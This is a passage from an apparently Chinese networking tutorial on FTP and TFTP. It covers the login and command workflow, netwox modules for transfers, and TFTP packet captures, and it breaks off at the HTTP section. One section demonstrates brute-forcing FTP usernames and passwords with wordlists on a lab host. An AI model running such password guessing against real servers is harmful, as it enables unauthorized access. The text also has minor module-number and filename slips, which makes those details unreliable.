在FTP会话中,用户可以执行FTP命令进行文件传输,如查看目录信息、上传或下载文件等。客户端输入要执行的FTP命令后,服务器同样会给出应答。如果输入的执命令正确,服务器会将命令的执行结果返回给客户端。执行结果返回完成后,服务器继续给出应答。

4)断开连接阶段

当客户端不再与FTP服务器进行文件传输时,需要断开连接。客户端向FTP服务器发送断开连接请求,服务器收到断开连接后给出相应的应答。

5)验证工作流程

为了能够更好地理解FTP客户端与服务器的工作流程,下面以一个简单的实例进行讲解。

已知FTP服务器的IP地址为192.168.59.135。使用一个主机作为FTP客户端与FTP服务器进行文件传输。这里查看FTP服务器上目录content中的信息。

执行命令如下:

root@daxueba:~# ftp

为了方便分析,下面将按照FIP的4个工作流程阶段进行分析。

(1)建立连接

ftp> open 192.168.59.135 #客户端请求建立连接
Connected to 192.168.59.135.
220 Welcome #服务器应答,应答码为220

以上输出信息显示客户端向FTP服务器192.168.59.135发起了连接请求,服务器给出了对应的应答码220,表示成功建立了连接。

(2)身份认证

Name (192.168.59.135:root): sm #客户端输入的用户名(明文显示),这里为sm
331 User name ok, need password. #服务器应答,应答码为331
Password: #客户端输入的密码
230 User logged in, proceed. #服务器应答,应答码为230

以上输出信息显示了客户端输入的用户名和密码,并显示了对应的应答码。用户名的应答码为331,表示还需要客户端输入密码;密码的应答码为230,表示登录成功。

(3)命令交互

Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir content #客户端执行的命令
200 Connected. #服务器应答,应答码为200
150 Start of file list. #服务器应答,应答码为150
-rwxrwxrwx 1 ftp ftp 18 Sep 11 14:47 file-3.txt #目录列表信息
-rwxrwxrwx 1 ftp ftp 18 Sep 11 14:47 file-1.txt #目录列表信息
-rwxrwxrwx 1 ftp ftp 18 Sep 11 14:47 file-2.txt #目录列表信息
226 Transfer complete. #服务器应答,应答码为226

以上输出信息显示了用户名要执行的命令dir content,表示显示FTP服务器上content的目录列表信息;服务器给出了应答,这里给出了两个应答码。应答码为200,表示FTP服务器可以执行该命令;应答码为150,表示服务器已经准备好了目录列表,打开数据连接,将执行结果发送给客户端。这里显示的目录列表信息可以看到content中有3个文件file-1.txt,file-2.txt和file-3.txt。输出信息最后一行显示了服务器的应答码226,表示执行结果已经返回。

(4)断开连接

ftp> quit #客户端指定的断开FTP子命令
221 Service closing control connection. #服务器应答,应答码为221

以上输出信息显示了客户端执行的断开连接的FTP子命令quit。最后一行显示了服务器的应答,应答码为221,表示服务器确认退出登录。

5. FTP命令及应答码

在上述的FTP工作流程中,客户端成功连接FTP服务器以后,进行身了份验证、执行FTP命令等操作。这些操作都是客户端向FTP服务器发出的请求,而这些请求实际上是在发送FTP命令。对于每一个请求,服务器都会返回对应的应答码。例如,客户端输入用户名,实际上就是在发送FTP子命令。该子命令为USER,表示服务器上的用户名。 

FTP命令及应答码信息如下:

Name (192.168.59.135:root): sm #FTP命令,这里为用户名sm
331 User name ok, need password #FTP应答码,这里为331

上述操作,通过抓包可以查看到对应的FTP命令和应答码,如图所示。

图中第8个数据包为客户端向FTP服务器发送的FTP命令,命令为USER,其中sm表示客户端输入的用户名。第9个数据包为FTP服务器对该请求返回的应答,应答码为331。

客户端与FTP服务器之间进行文件传输时,可以执行多种操作。

常见的FTP命令如下表所示:

常见的FTP应答如表所示:

 

6. FTP内部命令

客户端成功登录FTP服务器后,就可以进入会话模式(ftp>)。在该模式下,不论是在Windows统,还是UNIX操作系统,都会使用大量的FTP内部命令。熟悉掌握每个内部命令的作用,有助于客户端与FTP服务器之间的数据传输。

FTP内部命令及作用如表所示:

7. FTP基本使用

有了FTP服务器以后,客户端就可以与其建立连接,进行登录,然后进行文件传输,并实现各种操作,如上传文件/目录、下载文件/目录、列出目录信息等操作。

1)构建FTP服务器

使用FTP服务,首先需要构建一个FTP服务器。为了便于测试,这里使用netwox工具中编号为168的模块,它可以在主机上构建一个FTP服务器。

其语法格式如下:

netwox 168 -l login -L password

其中,-l选项用来指定FTP服务器登录的用户名;-L选项用来指定FTP服务器登录的密码。

2)下载文件及校验

为了检查文件在传输过程中是否有损坏,需要对文件进行校验。一般情况下,会在文件传输之前计算它的哈希值,传输后再次计算它的哈希值。如果两次的哈希值一样,则表示文件没有损坏。

netwox工具提供编号为174的模块,它可以从FTP服务器端下载文件,并检查它的MD5哈希值。其语法格式如下:

netwox 174 -i IP -F file -m MD5 -u login -a password

其中,-i选项指定FTP服务器的IP地址;-F选项指定要下载的文件名称;-m选项指定文件预期的MD5哈希值;-u选项指定FTP服务器登录的用户名;-a选项指定登录的密码。

已知FTP服务器的IP地址为192.168.59.135,登录用户名为sm,密码为123。在该服务器上有一个file.txt文件。使用netwox工具,下载该文件,并校验其哈希值。

(1)假设文件的哈希值为c23f95941f9e226044a622c925b5fd2b,执行命令如下:

root@daxueba:~# netwox 174 -i 192.168.59.135 -F file.txt 4566.txt –m
c23f95941f9e226044a622c925b5fd2b -u sm -a 123

执行命令后,没有输出任何信息,表示下载文件file.txt的哈希值和指定值是一致的。

(2)如果提供一个错误的哈希值12345678901234567890123456789012,执行命令如下:

root@daxueba:~# netwox 174 -i 192.168.59.135 -F file.txt -m 1234567890
1234567890123456789012 -u sm -a 123

输出信息如下:

MD5 is c23f95941f9e226044a622c925b5fd2b instead of 12345678901234567890
123456789012

以上输出信息表示,file.txt文件的MD5哈希值不是12345678901234567890123456789012,而是
c23f95941f9e226044a622c925b5fd2b。

3)列出FTP服务器上目录列表信息

成功登录FTP服务器以后,用户就可以查看服务器上的目录信息了。netwox工具提供了一个编号为111的模块,它可以列出当前目录下的所有信息,但不能列出子目录中的信息。其语法格式如下:

netwox 111 -i IP --dir file.txt -u login -a password

其中,-i选项指定FTP服务器的IP地址;--dir选项指定要列出的目录名称;-u选项指定登录的用户名;-a选项指定登录的密码。

已知FTP服务器上有一个目录content。使用netwox工具列出该目录中的信息,具体步骤如下:

(1)在FTP服务器上,查看该目录的信息,执行命令如下:

root@daxueba:~# ls content/

输出信息如下:

dir-1 dir-2 file.txt pass-1.txt pass-2.txt

以上输出信息表示该目录中包含了3个文件和2个目录。

(2)使用netwox工具,在客户端列出该文件夹的目录信息,执行命令如下:

root@daxueba:~# netwox 111 -i 192.168.59.135 --dir content -u sm -a 123

输出信息如下:

pass-1.txt (file of size 23)
file.txt (file of size 27)
pass-2.txt (file of size 18)
dir-2 (dir)
dir-1 (dir)

将以上输出信息与步骤(1)的输出信息对比可以看出,成功列出了该目录中的所有信息,包含的文件分别为pass-1.txt,file.txt和pass-3.txt,并且给出了对应的大小。

4)下载文件

成功登录FTP服务器以后,用户就可以从服务器上下载文件了。

netwox工具提供了编号为112的模块,它可以从FTP服务器上下载指定文件。

其语法格式如下:

netwox 112 -i IP -F file1.txt -f file2.txt -u login -a password

其中,-i选项指定FTP服务器的IP地址;-F选项指定FTP服务器上的文件名称,即要下载的文件;-f选项指定下载到本机后的文件名称;-u选项指定登录的用户名;-a选项指定登录的密码。

从FTP服务器上下载文件file.txt,下载后的文件名称命名为keep.txt。

执行命令如下:

root@daxueba:~# netwox 112 -i 192.168.59.135 -F file.txt -f keep.txt -u sm
-a 123

执行命令后没有任何输出信息,但是会成功下载文件file.txt,下载后的文件名为keep.txt。

5)上传文件

成功登录FTP服务器以后,用户还可以向服务器上传文件。netwox工具提供了编号为113的模块,实现文件上传功能。

其语法格式如下:

netwox 113 -i IP -f file1.txt -F file2.txt -u login -a password

其中,-i选项指定FTP服务器的IP地址;-f选项指定要上传的文件名称,即本地文件;-F选项指定上传到FTP服务器后的文件名称;-u选项指定登录的用户名;-a选项指定登录的密码。

将本地文件keep1.txt上传到FTP服务器上,命名为keep2.txt。

执行命令如下:

root@daxueba:~# netwox 113 -i 192.168.59.135 -f keep1.txt -F keep2.txt –u sm -a 123

执行命令后没有任何输出信息,但是会将本地文件keep1.txt上传到FTP服务器上,文件名为keep2.txt。

6)FTP删除文件

登录FTP服务器后,用户还可以在客户端上删除FTP服务器上的文件。netwox工具提供了编号为114的模块实现该功能。

其语法格式如下:

netwox 114 -i IP -F file -u login -a password

其中,-i选项指定FTP服务器的IP地址;-F选项指定要删除FTP服务器上的文件名称;-u选项指定登录的用户名;-a选项指定登录的密码。

删除FTP服务器上的file.txt文件,执行命令如下:

root@daxueba:~# netwox 114 -i 192.168.59.135 -F file.txt -u sm -a 123

执行命令后没有任何输出信息,但是会将FTP服务器上的file.txt文件删除。

7)下载目录

netwox工具中编号为112的模块可以下载指定的文件。如果要下载服务器上某个目录,需要使用编号为114的模块。该模块不仅可以下载目录,还可以列出目录及子目录信息。

其语法格式如下:

netwox 114 -i IP -F DIR1 -f DIR2 -u login -a password

其中,-i选项指定FTP服务器的IP地址;-F选项指定FTP服务器的目录名称;-f选项用来指定下载的目录在本地显示的目录名称;-u选项用来指定FTP服务器登录的用户名;-a选项用来指定FTP服务器登录的密码。

已知FTP服务器上有一个目录Dir,使用netwox工具下载该目录的所有内容。

具体步骤如下:

(1)查看目录Dir包含的信息,执行命令如下

root@daxueba:~# ls Dir -R

输出信息如下:

Dir:
dir-1 dir-2 dir-3 pass.txt
Dir/dir-1:
file-1.txt
Dir/dir-2:
file-2.txt
Dir/dir-3:
file-3.txt

以上输出信息表示目录Dir中包含了3个子目录,分别为dir-1,dir-2和dir-3,还包含了一个文件pass.txt。在子目录dir-1中包含了一个文件file-1.txt,在子目录dir-2中包含了一个文件file-2.txt,在子目录dir-3中包含了一个文件file-3.txt。

(2)使用netwox工具从FTP服务器下载目录Dir中的所有目录信息,下载后目录名称为DIR,执行命令如下:

root@daxueba:~# netwox 115 -i 192.168.59.135 -F Dir -f DIR -u sm -a 123

输出信息如下:

DIR/dir-3
DIR/dir-3/file-3.txt
DIR/dir-2
DIR/dir-2/file-2.txt
DIR/pass.txt
DIR/dir-1
DIR/dir-1/file-1.txt

将以上输出信息与步骤(1)的输出信息进行对比,可以看出成功下载了所有的信息。

8)上传目录

登录FTP服务器以后,用户不仅可以从服务器下载整个目录,还可以将本地的目录上传到FTP服务器。netwox工具提供了编号为116的模块,它可以进行递归上传,将本地目录以及子目录中的内容都上传到服务器。

其语法格式如下:

netwox 116 -i IP -f DIR1 -F DIR2 -u login -a password

其中,-i选项指定FTP服务器的IP地址;-f选项指定要上传的本地目录名称;-F选项指定上传到FTP服务器的目录名称;-u选项指定登录的用户名;-a选项指定登录的密码。

将本地目录DIR上传到服务器,上传后的目录名称设置为Mydir,执行命令如下:

root@daxueba:~# netwox 116 -i 192.168.59.135 -f DIR -F Mydir -u sm -a 123

输出信息如下:

DIR/dir-3
DIR/dir-3/file-3.txt
DIR/dir-2
DIR/dir-2/file-2.txt
DIR/pass.txt
DIR/dir-1
DIR/dir-1/file-1.txt

 以上输出信息显示了上传目录的所有文件和子目录,可以看到上传了目录下的子目录dir-1,dir-2,dir-3和多个文件。

9)递归删除目录

如果FTP服务器上的某个目录不再需要,可以将其删除。netwox工具中编号为117的模块提供了删除目录的功能。它可以递归删除目录中的所有信息,包括子目录及子目录下的所有内容。

其语法格式如下:

netwox 117 -i IP -F DIR -u login -a password

其中,-i选项指定FTP服务器的IP地址;-F选项指定要删除的FTP服务器上的目录名称;-u选项指定登录的用户名;-a选项指定登录的密码。

删除FTP服务器上的Mydir目录,执行命令如下:

root@daxueba:~# netwox 117 -i 192.168.59.135 -F Mydir -u sm -a 123

输出信息如下:

Entering directory Mydir
Entering directory dir-3
Deleting file file-3.txt
Leaving directory dir-3
Deleting directory dir-3
Entering directory dir-2
Deleting file file-2.txt
Leaving directory dir-2
Deleting directory dir-2
Deleting file pass.txt
Entering directory dir-1
Deleting file file-1.txt
Leaving directory dir-1
Deleting directory dir-1
Deleting directory Mydir

以上输出信息显示了递归删除目录内容的整个过程。例如,首先进入目录Mydir。由于该目录中包含子目录dir-3,再进入子目录dir-3中;将该子目录中的文件file-3.txt进行删除,然后离开子目录dir-3,删除该子目录。以此类推,删除指定目录中的所有信息。

8. 暴力破解FTP服务

登录FTP服务器需要正确的用户名和密码。如果不知道用户名和密码,就无法登录。netwox工具提供了编号为130的模块,它可以对FTP服务器的用户名和密码实施暴力破解。它使用用户名和密码字典进行匹配,猜测正确的登录用户名和密码。

其语法格式如下:

netwox 130 -i IP -l user.file -w pass.file

其中,-i选项指定FTP服务器的IP地址;-l选项指定用户名字典文件,-w选项指定密码字典文件。

已知FTP服务器的IP地址为192.168.59.135。现有一个用户名字典文件user.txt,一个密码字典文件password.txt。使用这两个字典文件,暴力破解FTP服务器的用户名和密码。

root@daxueba:~# netwox 130 -i 192.168.59.135 -l user.txt -w password.txt

输出信息如下:

Trying(thread1) "admin" - "root"
Trying(thread2) "admin" - "linux"
Trying(thread3) "admin" - "123abc"
Trying(thread4) "admin" - "123"
Trying(thread5) "root" - "root"
Couple(thread1) "admin" - "root" -> bad
Trying(thread1) "root" - "linux"
Couple(thread2) "admin" - "linux" -> bad
Trying(thread2) "root" - "123abc"
Couple(thread3) "admin" - "123abc" -> bad
Trying(thread3) "root" - "123"
Couple(thread4) "admin" - "123" -> bad
Trying(thread4) "sm" - "root"
Couple(thread5) "root" - "root" -> bad
Trying(thread5) "sm" - "linux"
Couple(thread3) "root" - "123" -> bad
Trying(thread3) "sm" - "123abc"
Couple(thread1) "root" - "linux" -> bad
Trying(thread1) "sm" - "123"
Couple(thread5) "sm" - "linux" -> bad
Trying(thread5) "" - "root"
Couple(thread2) "root" - "123abc" -> bad
Trying(thread2) "" - "linux"
Couple(thread4) "sm" - "root" -> bad
Trying(thread4) "" - "123abc"
Couple(thread1) "sm" - "123" -> good
Trying(thread1) "" - "123"
Couple(thread2) "" - "linux" -> bad
Couple(thread3) "sm" - "123abc" -> bad
Couple(thread5) "" - "root" -> bad
Couple(thread4) "" - "123abc" -> bad
Couple(thread1) "" - "123" -> bad

以上输出信息显示了暴力破解的整个过程。它将用户名字典文件user.txt中的每一个用户名与密码字典文件password.txt中的所有密码进行配对使用。如果登录成功,显示为good;否则,显示为bad。当使用用户名sm与密码123进行登录时,显示为good,表示FTP服务器登录的用户名为sm,密码为123。

如果用户知道用户名而不知道密码,可以直接使用用户名,指定密码字典即可。

执行命令如下:

root@daxueba:~# netwox 130 -i 192.168.59.135 -L sm -w password.txt

输出信息如下:

Trying(thread1) "sm" - "root"
Trying(thread2) "sm" - "linux"
Trying(thread3) "sm" - "123abc"
Trying(thread4) "sm" - "123"
Couple(thread1) "sm" - "root" -> bad
Couple(thread2) "sm" - "linux" -> bad
Couple(thread3) "sm" - "123abc" -> bad
Couple(thread4) "sm" - "123" -> good

8、简单文件传送协议TFTP

简单文件传输协议(Trivial File Transfer Protocol,TFTP)是TCP/IP协议族中一种简单的文件传输协议,用来在客户端与服务器之间进行文件传输。

1. TFTP协议概述

TFTP基于UDP协议进行文件传输。与FTP协议不同的是,TFTP传输文件时不需要用户进行登录。它只能从文件服务器上下载或上传文件,不能列出目录。

TFTP 是一个很小且易于实现的文件传送协议。TFTP 使用客户服务器方式和使用 UDP 数据报,因此 TFTP 需要有自己的差错改正措施。TFTP 只支持文件传输而不支持交互。TFTP 没有一个庞大的命令集,没有列目录的功能,也不能对用户进行身份鉴别。

TFTP的特点:

  1. 每次传送的数据 PDU 中有 512 字节的数据,但最后一次可不足 512 字节。
  2.  数据 PDU 也称为文件块(block),每个块按序编号,从 1 开始。    (3) 支持 ASCII 码或二进制传送。
  3.  可对文件进行读或写。
  4. 使用很简单的首部。

在一开始工作时。TFTP 客户进程发送一个读请求 PDU 或写请求 PDU 给 TFTP 服务器进程,其熟知端口号码为 69。

TFTP 服务器进程要选择一个新的端口和 TFTP 客户进程进行通信,若文件长度恰好为 512 字节的整数倍,则在文件传送完毕后,还必须在最后发送一个只含首部而无数据的数据 PDU。若文件长度不是 512 字节的整数倍,则最后传送数据 PDU 的数据字段一定不满512字节,这正好可作为文件结束的标志。

2. TFTP协议模式

TFTP协议模式类似于客户端发送请求,服务器进行响应。由于TFTP是基于UDP协议的,而UDP数据包本身就不是很安全,即发送端发送的数据是否能成功到达接收端是不能确定的。因此,为了能够让发送端知道接收端已经接收到了发送端发来的数据包,接收端对接收到的每一个数据包都进行确认。

3. 报文类型

TFTP客户端与服务器进行信息交互的过程中有5种报文类型。

每种报文类型及含义如下:

  • Read Request(RRQ):请求读取报文,表示客户端向TFTP服务器发送读取请求,希望从TFTP服务器上读取文件,即下载文件。
  • Write Request(WRQ):请求写入报文,表示客户端向TFTP服务器发送写入请求,希望向TFTP服务器写入文件,即上传文件。
  • Data(DATA):传输数据包报文,表示客户端与TFTP服务器之间进行文件的数据传输。
  • Acknowledgment(ACK):确认报文,表示对请求读取、请求写入和传输数据包进行确认。
  • Error(ERROR):差错报文,在文件传输过程中,如果出现读取和写入错误,将会产生这种数据包。

4. 构建TFTP服务器

为了能够验证TFTP协议工作机制,需要构建一个TFTP服务器。netwox工具提供了编号为167的模块,它可以构建TFTP服务器,允许用户完成简单的文件传输任务。

其语法格式如下:

netwox 167

5. 下载文件

下载文件是指客户端从TFTP服务器上下载文件。

客户端会向TFTP服务器发送请求读取(RRQ)数据包,指明要从服务器上读取的文件。如果TFTP服务器接收了该请求,将打开连接,向客户端发送请求获取的文件数据。发送的数据包是以定长512字节进行传输。

如果文件数据大于512字节,将分成多个数据包进行传输。由于每个数据包都需要得到确认,所以发送的每个数据包都包含数据编号,并且从1开始进行排序。当发送的数据包小于512字节,则表示这是最后一个数据包,传输即将结束。

其工作流程如图所示:

图中显示了客户端从TFTP服务器上下载文件信息的工作流程,每个步骤含义如下:

  1. 客户端向TFTP服务器发送读取请求(RRQ)。
  2. TFTP服务器将文件数据返回给客户端,这里是第1个数据包
  3. (DATA包),数据编号为1,大小为512字节。
  4. 客户端对发来的数据,即编号为1的DATA包进行确认。
  5. 服务器收到客户端的确认以后,继续发送第2个DATA包,数据编号为2,大小为512字节。
  6. 客户端对发来的数据,即编号为2的DATA包进行确认,向服务器发送数据编号为2的ACK包。
  7. 服务器收到客户端的确认以后,继续发送第3个DATA包,数据编号为3。此时,该数据包是文件的最后数据信息,大小小于512字节。
  8. 客户端收到服务器发来的 DATA 包,查看数据编号为 3 ,并且
    大小小于 512 字节,就认为服务器已经将文件的数据信息全部发送给了
    自己(客户端),表示下载完成。客户端对最后的 DATA 数据包进行确
    认,向服务器发送数据编号为 3 ACK 包。

6. 报文格式

图中的工作流程中涉及3种类型的数据包,即RRQ,DATA和ACK。下面介绍这三种类型数据包的报文格式。

(1)RRQ请求报文格式

RRQ类型的请求包是读取服务器上指定文件的信息。因此,该类型数据包的报文中包含了文件名字段。文件信息数据进行传输时需要指定传输模式,因此报文中还包含了模式字段。 

RRQ请求包格式如图所示:

每个字段含义如下:

  • 操作码:表示TFTP报文类型,这里为Read Request,值为1。
  • 文件名:位于TFTP服务器上的文件名称。
  • 0:表示文件字段要以0字节作为结束。
  • 模式:表示数据格式。如果为netascii时,表示主机必须将数据转换为ASCII格式;如果为octet时,表示使用8bit的字节流传输。
  • 0:这里表示模式字段要以0字节作为结束。

(2)DATA报文格式

DATA报文是用来传输数据的,因此报文中包含了“数据”字段。由于传输的数据包往往是多个,需要添加对应的编号,因此报文中包含了“数据编号”字段。

DATA报文格式如图所示:

 每个字段含义如下:

  • 操作码:表示TFTP报文类型,这里为Data Packet,值为3。
  • 数据编码:数据包对应的编号,从1开始进行排序。
  • 数据:传输的文件数据及大小。

(3)ACK报文格式

ACK是对每个DATA包的确认,由于每个DATA包的数据编号不同,因此该报文中包含数据编号字段。

ACK报文格式如图所示:

 每个字段含义如下:

  • 操作码:表示TFTP报文类型,这里为Acknowledgement,值为4。
  • 数据编号:用来对应DATA包中的“数据编号”字段。

7. 构建RRQ包

为了能够更清晰地了解TFTP下载文件的整个过程,下面进行文件下载操作。

在netwox工具中,编号为165的模块可以从TFTP服务器上下载指定的文件。

其语法格式如下:

netwox 165 -i IP -F file1 -f file2

其中,-i选项指定TFTP服务器的IP地址;-F选项指定TFTP服务器上的文件名称;-f选项用来指定文件下载后保存的名称。

已知TFTP服务器的IP地址为192.168.59.135,在该服务器上存在一个test.txt文件。在192.168.59.133主机上使用netwox工具下载该文件。具体步骤如下:

(1)在TFTP服务器上查看test.txt文件的大小,执行命令如下:

root@daxueba:~# du -b test.txt

输出信息如下:

1226 test.txt

其中,1226表示文件大小为字节,test.txt为文件名称。表示该文件大小为1226字节。

(2)下载该文件到本地主机,下载后命名为Test-keep.txt,执行命令如下:

root@daxueba:~# netwox 165 -i 192.168.59.135 -F test.txt -f Test-keep.txt

执行命令后没有任何输出信息,但是会成功下载test.txt文件。

(3)通过抓包查看下载文件整个过程产生的数据包,如图所示。

图中,第28~34个数据包为下载文件整个过程的数据包。第28个数据包为客户端构建的RRQ请求包。通过包的基本信息可以看到源IP地址为192.168.59.133,目标IP地址为192.168.59.135,Info列中的信息为Read Request。

在Trivial File Transfer Protocol部分显示了报文格式,含义如下: 

Trivial File Transfer Protocol
Opcode: Read Request (1) #操作码,这里值为1,表示是一个RRQ请求
Source File: test.txt #要下载的文件名
Type: octet #数据格式为octet

(4)第29个数据包是一个DATA(传输数据)包,如图所示。

该数据包为TFTP服务器返回给客户端的第一个DATA包,用来传输文件信息。通过包的基本信息可以看到源IP地址为192.168.59.135,目标IP地址为192.168.59.133,Info列中的信息为Data Packet。

其报文格式及信息如下:

Trivial File Transfer Protocol
Opcode: Data Packet (3) #操作码,这里值为3,表示是一个DATA包
[Source File: test.txt] #要下载的文件名
Block: 1 #数据编码
Data (512 bytes)
Data: 24377a243224313924302424382436303739313432646165... #数据
[Length: 512] #数据大小

从输出信息可以看到,服务器返回的文件数据信息,这里数据编码为1,说明这是返回的第一个DATA包,数据大小为512字节。

(5)第30个数据包为客户端返回给服务器的确认包,是对服务器发来的DATA包的确认,如图所示。

通过包的基本信息可以看到源IP地址为192.168.59.133,目标IP地址为192.168.59.135,Info列中的信息为Acknowledgement。在报文字段中可以看到,数据编码为1,表示该包是第一个DATA包的确认包。

(6)第31个数据包为服务器第二次给客户端发送的DATA包,如图所示。

通过包的基本信息可以看到源IP地址为192.168.59.135,目标IP地址为192.168.59.133,Info列中的信息为Data Packet。在报文字段信息中,可以看到与第30个数据包不同的是,这次的数据编码为2,说明这是发送的第2个DATA包,数据大小为512字节。第32个数据包为客户端返回的确认包。

(7)第33个数据包为服务器第3次给客户端发送的DATA包,如图所示。

在报文字段中,可以看到Block的值为3,表示这是第3个DATA包,Length的值为202,表示该数据包大小为202字节,它小于512字节,说明该DATA包是服务器向客户端发送的最后一个DATA包。

(8)第34个数据包为客户端对服务器发送的最后一次确认包,如图所示。

在该数据包的报文字段中可以看到Block的值为3,表示是对最后一个DARA包的确认,是客户端发送给服务器的ACK包。此时完成了整个文件下载过程。

通过前面介绍知道文件test.txt大小为1226字节,服务器向客户端发送的第1个和第2个DATA包大小都为512字节,第3个DATA包大小为202,这3个DATA包大小加起来正好为1226字节。

在进行文件下载时,为了判断文件是否在传输过程中有损坏,可以在下载文件时对文件进行MD5值校验。netwox工具的第176个模块提供了该功能。它可以从TFTP服务器上下载指定文件并检查文件的MD5值。其语法格式如下:

netwox 176 -i IP -F file -s MD5

其中,-i选项用来指定TFTP服务器的IP地址,-F选项用来指定TFTP服务器上的文件名称,-s选项用来指定预期的MD5哈希值。

以前面的test.txt文件为例进行文件下载并检查其MD5值。这里假设文件的MD5值为
12345678901234567890123456789012,执行命令如下:

root@daxueba:~# netwox 176 -i 192.168.59.135 -F test.txt –s "12345678901234567890123456789012"

输出信息如下:

MD5 is e68fa2ccc1acea5d1173f2669fbc69e4 instead of 12345678901234567890123456789012

上述输出信息表示给定的值不正确。下载文件的MD5值应该为e68fa2ccc1acea5 d1173f2669fbc69e4。在执行命令时,没有输出结果,表示指定的MD5值正确。

8. 上传文件

上传文件指的是客户端将本地上的文件上传到TFTP服务器上。

客户端会向TFTP服务器发送请求写入(WRQ)数据包,指明要写入的文件。如果TFTP服务器允许该文件的写入,就返回一个ACK确认包,该包的编号为0。客户端收到服务器的确认包以后,就开始向服务器写入文件。文件数据以定长512字节进行传输,与RRQ包的传输方式一样,传输的每一个文件数据包都会得到服务器返回的确认包,并且数据包的数据编号也是从1开始。

其工作流程如图所示:

图14.11中显示了客户端向TFTP服务器上传文件信息的工作流程,每个步骤含义介绍如下:

  1. 客户端向TFTP服务器发送写入请求(WRQ)。
  2. 服务器收到客户端的WRQ请求后,同意该请求,返回ACK确认包。这里的确认包的数据编号为0。
  3. 客户端收到请求的确认包以后,得知服务器已经同意文件上传。客户端开始进行文件上传,向服务器发送文件信息数据。首先发送第1个DATA包,大小为512字节,此时包的数据编号为1,因为步骤
  4. 中已经使用了数据编号0。
  5. 服务器收到客户端发来的数据编号为1的DATA包,并进行确认,向客户端发送数据编号为1的ACK包。
  6. 客户端收到第1个DATA包返回的ACK包后,继续向服务器发送第2个DATA包,大小为512字节,此时的数据编号为2。
  7. 服务器对第2个DATA包进行确认,向客户端发送数据编号为2的ACK包。
  8. 客户端收到第2个DATA包返回的ACK包后,继续向服务器发送第3个DATA包,大小小于512字节,此时的数据编号为3。
  9. 服务器收到发来第3个的DATA包,发现包大小小于512字节,就认为客户端已经将文件的数据信息全部发送给了自己(服务器),表示上传完成。服务器对最后的DATA数据包进行确认,向客户端发送数据编号为3的ACK包。 

9. 构建WRQ包

为了能够更清晰地了解TFTP上传文件的整个过程,下面演示该操作。在netwox工具中,编号为166的模块可以将客户端的文件上传到TFTP服务器上。

其语法格式如下:

netwox 166 -i IP -f file1 -F file2

其中,-i选项指定TFTP服务器的IP地址;-f选项指定本地的文件名称;-F选项指定本地文件上传到服务器后的文件名称。

已知TFTP服务器的IP地址为192.168.59.135,本地文件Test-keep.txt大小为1226字节。使用netwox工具将该文件上传到TFTP服务器上。

具体步骤如下:

(1)上传文件,上传后的文件命名为keep.txt

root@daxueba:~# netwox 166 -i 192.168.59.135 -f Test-keep.txt -F keep.txt

执行命令后没有任何输出信息,但是会成功将文件上传到TFTP服务器上。

(2)抓包,并查看上传文件整个过程产生的数据包,如图所示。

图中,第4~11个数据包为上传文件整个过程的数据包。第4个数据包为客户端构建的WRQ请求包。

通过包的基本信息可以看到,源IP地址为192.168.59.133,目标IP地址为192.168.59.135,Info列中的信息为Write Request。在Trivial File Transfer Protocol部分显示了报文格式,含义如下: 

Trivial File Transfer Protocol
Opcode: Write Request (2) #操作码,这里值为2,表示是一个WRQ请求
DESTINATION File: keep.txt #上传后的文件名
Type: octet #数据格式为octet

(3)第5个数据包是服务器返回的确认(ACK)包,如图所示。

通过包的基本信息可以看到,源IP地址为192.168.59.135,目标IP地址为192.168.59.133,Info列中的信息为Acknowledgement。在报文字段信息中可以看到,Block值为0,表示该确认包的数据编码为0。

(4)第6个数据包为客户端向服务器上传文件时,发送数据信息的第一个DATA包,如图所示。

通过包的基本信息可以看到,源IP地址为192.168.59.133,目标IP地址为192.168.59.135,Info列中的信息为Data Packet。在报文字段信息中可以看到,此时数据编码为1,传输的数据大小为512字节。

 (5)第7个数据包为服务器返回给客户端的确认包,是对客户端发来的DATA包的确认,如图所示。

通过包的基本信息可以看到,源IP地址为192.168.59.135,目标IP地址为192.168.59.133,Info列中的信息为Acknowledgement。在报文字段中可以看到,数据编码为1,表示该包是第1个DATA包的确认包。

(6)第8个数据包为客户端第2次给服务器发送的DATA包,如图所示。

通过包的基本信息可以看到,源IP地址为192.168.59.133,目标IP地址为192.168.59.135,Info列中的信息为Data Packet。在报文字段信息中,数据编码为2,说明这是发送的第2个DATA包,数据大小为512字节。第9个数据包为服务器返回的确认包。

(7)第10个数据包为客户端向服务器发送的最后一个DATA包,如图所示。

该包的Info信息中可以看到(last)字样,表示这是上传文件时发送文件信息的最后一个DATA包,在报文字段中可以看到,该DATA包的大小为202。第11个数据包为服务器对客户端发送的最后一个DATA包的确认包。此时完成了上传文件的整个过程。

9、超文本传送协议 HTTP

1. 万维网WWW

万维网 WWW (World Wide Web)并非某种特殊的计算机网络。万维网是一个大规模的、联机式的信息储藏所。万维网用链接的方法能非常方便地从因特网上的一个站点访问另一个站点,从而主动地按需获取丰富的信息。这种访问方式称为“链接”。

万维网是分布式超媒体(hypermedia)系统,它是超文本(hypertext)系统的扩充。

一个超文本由多个信息源链接成。利用一个链接可使用户找到另一个文档。这些文档可以位于世界上任何一个接在因特网上的超文本系统中。超文本是万维网的基础。

万维网的工作方式:

万维网以客户-服务器方式工作。

浏览器就是在用户计算机上的万维网客户程序。万维网文档所驻留的计算机则运行服务器程序,因此这个计算机也称为万维网服务器。

客户程序向服务器程序发出请求,服务器程序向客户程序送回客户所要的万维网文档。在一个客户程序主窗口上显示出的万维网文档称为页面(page)。

万维网必须解决的问题 :

(1)怎样标志分布在整个因特网上的万维网文档? 

使用统一资源定位符 URL (Uniform Resource Locator)来标志万维网上的各种文档。使每一个文档在整个因特网的范围内具有唯一的标识符 URL。

(2)用何协议实现万维网上各种超链的链接? 

在万维网客户程序与万维网服务器程序之间进行交互所使用的协议,是超文本传送协议 HTTP (Hyper Text Transfer Protocol)。HTTP 是一个应用层协议,它使用 TCP 连接进行可靠的传送。

(3)怎样使各种万维网文档都能在因特网上的各种计算机上显示出来,同时使用户清楚地知道在什么地方存在着超链? 

超文本标记语言 HTML (Hyper Text Markup Language)使得万维网页面的设计者可以很方便地用一个超链从本页面的某处链接到因特网上的任何一个万维网页面,并且能够在自己的计算机屏幕上将这些页面显示出来。

(4)怎样使用户能够很方便地找到所需的信息? 

为了在万维网上方便地查找信息,用户可使用各种的搜索工具(即搜索引擎)。

2. 统一资源定位符 URL

URL 给资源的位置提供一种抽象的识别方法,并用这种方法给资源定位。

一般格式:

<协议>://<主机>:<端口>/<路径> 

3. HTTP 协议概述

为了使超文本的链接能够高效率地完成,需要用 HTTP 协议来传送一切必须的信息。

